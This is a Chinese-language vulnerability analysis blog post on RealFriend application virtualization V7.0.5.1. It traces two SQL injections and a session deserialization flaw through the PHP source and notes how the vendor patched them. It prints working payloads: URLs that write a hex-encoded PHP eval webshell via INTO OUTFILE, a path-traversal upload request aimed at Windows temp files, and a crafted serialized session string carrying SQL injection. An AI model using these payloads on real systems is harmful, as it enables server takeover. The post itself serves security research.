瑞友天翼应用虚拟化系统 V7.0.5.1 多个漏洞分析
Drunkbaby Lv6

环境搭建

这部分如果需要试用看其他功能的话可以参考这篇文章,其他都使用 exe 直接安装就行

https://zone.huoxian.cn/d/2738

瑞友天翼应用虚拟化系统 V7.0.5.1 appsave SQL 注入

漏洞分析

payload 已经出来了,先贴 payload

1
http://192.168.180.136/index.php?s=/Admin/appsave&appid=1%27);select%200x3c3f70687020406576616c28245f504f53545b277368656c6c275d293b3f3e%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test2.php%27%20--+

对应的代码为 AdminController.class.php#appsave 函数

其中的传参 appid 用于执行 sql 语句,执行的语句为 $app->where("app_id='{$_GET['appid']}'")->Data($Data)->save();,这一段其实是 ThinkPHP 对 SQL 注入的防御与过滤,具体的就不细看了,比较常规。对应 TP 版本是 3.2.3

往下跟进 Model.class.php#save 函数

看一下对应逻辑,$this->_facade($data); ,这个函数做了一些字符串的处理与赋值。

再后面就是执行 SQL 语句了,语句为 update 语句,我们这里使用 TP 自带的方法给它打印出来 $app->getLastSql();

确实存在 SQL 注入,关于写入 shell 的一些配置就不看了,比较简单。

看下来这个洞其实比较简单,就是对于传参没有过滤,直接导致的 SQL 注入。我其实比较好奇这个漏洞是怎么修复了,并且是否存在绕过。

漏洞修复

新版本里面做了几个防御

1
2
3
4
if($this->authenticateUser()===false || checkPostJosnAttack($_REQUEST)>0 || $this->adminchecklogin()===false){
$this->ajaxReturn(8006, L("Msg_8006"), 0); //'操作超时,不安全!';
return;
}

给 sql 注入加了黑

瑞友天翼应用虚拟化系统 V7.0.5.1 appdel SQL 注入

原理同上,不细看了,贴代码

payload

1
http://192.168.180.136/index.php?s=/Admin/appdel&list=1%27);select%200x3c3f70687020406576616c28245f504f53545b277368656c6c275d293b3f3e%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test2.php%27%20--+

瑞友天翼应用虚拟化系统 V7.0.5.1 前台反序列化

https://starmap.dbappsecurity.com.cn/vul/DAS-T105183

这里的 patch 描述是修改 adminchecklogin 逻辑,不再读取用户指定的session文件进行反序列化

对应的路由,AdminController.class.php#adminchecklogin() 函数

核心语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private function adminchecklogin()  
{
$mUser = M('cuser');
$sessionpath = session_save_path();
$pathName = $this->openpath($sessionpath);
// $path = $_REQUEST['sessId']?($sessionpath . "/sess_".$_REQUEST['sessId']):($sessionpath . "/" . $pathName['name'][0]);
$path = $sessionpath . "/sess_" . $_REQUEST['sessId'];
$content = file_get_contents($path);
$tmp = explode("OverDo", $content);
if (count($tmp) > 1) {
$temporary = explode("|", $content);
$tmp6 = unserialize($temporary[7]);
if (!$tmp6) {
$tmp6 = unserialize($temporary[1]);
}
} else {
$tmp = explode("|", $content);
$tmp6 = unserialize($tmp[6]);
}
$userId = $tmp6['user_id'];

$_SESSION['AdminUserInfo']['user_id'] = $_SESSION['AdminUserInfo']['user_id'] ? $_SESSION['AdminUserInfo']['user_id'] : $userId;

$cuser = $mUser->where("user_id='{$_SESSION['AdminUserInfo']['user_id']}' AND is_group=0 AND is_admin=1")->find();
// testLog($mUser->getLastSql());
if (sizeof($cuser) > 1 && $cuser['is_admin'] == 1) {
$_SESSION['AdminLonginSucceed'] = true;
$_SESSION['Is_Admin'] = $cuser['is_admin'];
$_SESSION['AdminUserInfo'] = $InfoLogin['AdminUserInfo'] = $cuser;
$_SESSION['AdminUserInfo']['name'] = $cuser['name'];
$this->assign('sessId', $_REQUEST['sessId']);
$this->assign('Admin', $_SESSION['AdminUserInfo']['name']);
}

这里执行了 SQL 语句,很明显是直接拼接的,所以这里使 $userId 可控,也就是 $tmp3 可控,也就是反序列化的内容需要控制。

继续回去看 session 生成的逻辑。这之前我先来看一下 session 里面保存的有哪些内容。

其中存储了 name 和 pwd

1
AdminUserInfo|a:32:{s:7:"user_id";s:11:"usr00000001";s:4:"name";s:5:"Admin";s:8:"is_group";s:1:"0";s:8:"is_admin";s:1:"1";s:4:"f_id";s:11:"usr00000002";s:3:"pwd";s:32:"202cb962ac59075b964b07152d234b70";s:10:"login_user";s:12:"SrookgZ6qtg=";s:9:"login_pwd";s:28:"SprIrBk/lIo9pp7WeSS7lEU52OA=";s:12:"login_domain";s:20:"SZMin6kZVUYMnxBcSzPf";s:10:"modify_pwd";N;s:7:"enabled";s:1:"1";s:7:"popedom";N;s:6:"remark";N;s:14:"createdatetime";s:10:"2024-06-06";s:13:"datelimittype";s:1:"2";s:13:"startdatetime";N;s:11:"enddatetime";N;s:4:"days";s:1:"0";s:8:"policyid";N;s:11:"pwdpolicyid";N;s:17:"canopenclientfile";N;s:10:"historypwd";N;s:13:"lastrepwddate";N;s:8:"uniqueid";N;s:17:"repeatloginenable";s:1:"0";s:9:"runappnum";s:1:"0";s:14:"systempolicyid";N;s:8:"authtype";s:6:"100000";s:9:"logontype";N;s:8:"usertype";s:1:"0";s:8:"fullname";N;s:8:"appcount";N;}AdminLonginSucceed|b:1;Is_Admin|s:1:"1";RAP_Base_url|s:152:"http://192.168.180.137/index.php?s=/Agent/GetApp/lang//User/Admin/PWD/202cb962ac59075b964b07152d234b70/UserAuthtype/0/vd/1/vds/192.168.180.133/vdsp/5890";

直接登录抓包,其中登录逻辑的包如图

来看代码逻辑,以及 session 部分是怎么处理的,具体逻辑在 CASMain.XGI 中,当然对于传参有过滤

由于这个 filter 的存在,想要进行逃逸的覆盖就很难了,只能通过其他方式去做。而这里的 language 参数可控且无过滤,但是在 | 分割之下并没有办法利用。

其实这里还有其他的利用方式,php#bugs71101 这里先去看一下它的 phpinfo,观察 session.upload_progress 参数。

这是老的利用方式了,由于这里 session.upload_progress.cleanup=On,所以有几种利用思路

1、条件竞争写入恶意的数据
2、PHP 临时文件包含

这里我们来看第二种,PHP 临时文件包含配合上 Windows 的通配符才能打,由于在 Windows 中的 PHP 临时文件和 Linux 类似,也是 phpxxxxxxtmp 六位随机数,所以需要使用 php* 的形式来读取对应的文件,完成落地使用。

https://soroush.me/blog/2014/07/file-upload-and-php-on-iis-wildcards/

查看系统具体配置,可以看到缓存文件在默认路径下

1
2
3
4
5
file_uploads = On
upload_tmp_dir = "C:\Windows\Temp"
upload_max_filesize = 32M
max_file_uploads = 20
allow_url_fopen = On

通过查看配置文件不难发现临时文件在默认的 C:\Windows\Temp

接着包含 php 临时文件,写入我们需要反序列化的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /index.php?s=/Admin/title&sessId=/../../../../../../Windows/Temp/php%3C%3C HTTP/1.1
Host: 192.168.180.137
Content-Length: 182
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBU91a3JtALbAvJ9e
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=evil; CookieLanguageName=EN; UserAuthtype=0
Connection: close

------WebKitFormBoundaryBU91a3JtALbAvJ9e
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: image/jpeg

123
------WebKitFormBoundaryBU91a3JtALbAvJ9e--

无法判断利用成功,需要对照 adminchecklogin() 函数的逻辑来写入数据。

1
2
$temporary = explode("|", $content);
$tmp6 = unserialize($temporary[7]);

这样一来就很好构造了,user_id 取出来之后可以进行 SQL 注入,并写入 shell

1
||||||a:1:{s:7:"user_id";s:301:"test') union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31, 0x003c3f7068702066696c655f7075745f636f6e74656e7473282779347461636b65722e706870272c273c3f706870206563686f28224861636b65642042792059347461636b657222293b27293b3f3e into outfile '../../WebRoot/1.php'#";}|||

同时在这里,也可以用 ThinkPHP 来进行文件包含,尽管安装路径不一定在C盘,那么我们还能从什么方向思考呢,有情我们的老演员TP,它的日志总会在项目路径下吧(RealFriend\Rap Server\WebRoot\casweb\Runtime\Logs\Home)

只要能让项目报错就能保存日志,因此我们可以访问一个不存在的路由触发日志即可将payload写入(注意处理空格的问题,# 符号也要替换,闭合语句即可)

漏洞修复

新版本这里没有对反序列化进行过滤,而是对于 sql 语句进行了操作,进行了预编译的操作。

 评论